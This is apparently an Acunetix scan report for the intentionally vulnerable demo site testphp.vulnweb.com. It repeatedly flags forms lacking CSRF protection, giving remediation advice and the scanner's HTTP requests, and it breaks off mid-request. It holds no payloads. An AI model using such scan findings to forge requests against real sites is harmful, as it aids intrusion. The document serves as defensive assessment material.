Details	Form name: <empty> Form action: search.php?test=query Form method: POST Form inputs: • searchFor [text] • goButton [submit]

```
GET / HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/404.php

Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: search.php?test=query Form method: POST Form inputs: • searchFor [text] • goButton [submit]

```
GET /404.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/artists.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: search.php?test=query Form method: POST Form inputs: • searchFor [text] • goButton [submit]

```
GET /artists.php HTTP/1.1

Referer: http://testphp.vulnweb.com/

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=test%2Ftest

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

/cart.php

Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: search.php?test=query Form method: POST Form inputs: • searchFor [text] • goButton [submit]

```
POST /cart.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 19

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



addcart=1&price=500
```

/categories.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: search.php?test=query Form method: POST Form inputs: • searchFor [text] • goButton [submit]

```
GET /categories.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/comment.php

Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	

Details	Form name: fComment Form action: comment.php Form method: POST Form inputs: • name [text] • comment [textarea] • Submit [submit] • phpaction [hidden]

```
GET /comment.php?aid=1 HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/disclaimer.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: search.php?test=query Form method: POST Form inputs: • searchFor [text] • goButton [submit]

```
GET /disclaimer.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/guestbook.php

Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: search.php?test=query Form method: POST Form inputs: • searchFor [text] • goButton [submit]

```
GET /guestbook.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/guestbook.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: faddentry Form action: <empty> Form method: POST Form inputs: • name [hidden] • text [textarea] • submit [submit]

```
GET /guestbook.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/hpp/	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: params.php?p=valid&pp=12 Form method: GET Form inputs: • aaaa [submit]

```
GET /hpp/?pp=12 HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/index.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: search.php?test=query Form method: POST Form inputs: • searchFor [text] • goButton [submit]

```
GET /index.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/listproducts.php

Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: search.php?test=query Form method: POST Form inputs: • searchFor [text] • goButton [submit]

```
GET /listproducts.php?cat=1 HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/login.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: search.php?test=query Form method: POST Form inputs: • searchFor [text] • goButton [submit]

```
GET /login.php HTTP/1.1

Host: testphp.vulnweb.com

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

X-WVS-ID: Acunetix-LSR/65535

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

/login.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: loginform Form action: userinfo.php Form method: POST Form inputs: • uname [text] • pass [password] • <empty> [submit]

```
GET /login.php HTTP/1.1

Host: testphp.vulnweb.com

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

X-WVS-ID: Acunetix-LSR/65535

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

/product.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: search.php?test=query Form method: POST Form inputs: • searchFor [text] • goButton [submit]

```
GET /product.php?pic=1 HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/product.php

Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: f_addcart Form action: cart.php Form method: POST Form inputs: • price [hidden] • addcart [hidden] • <empty> [submit]

```
GET /product.php?pic=1 HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/search.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: search.php?test=query Form method: POST Form inputs: • searchFor [text] • goButton [submit]

```
POST /search.php?test=query HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

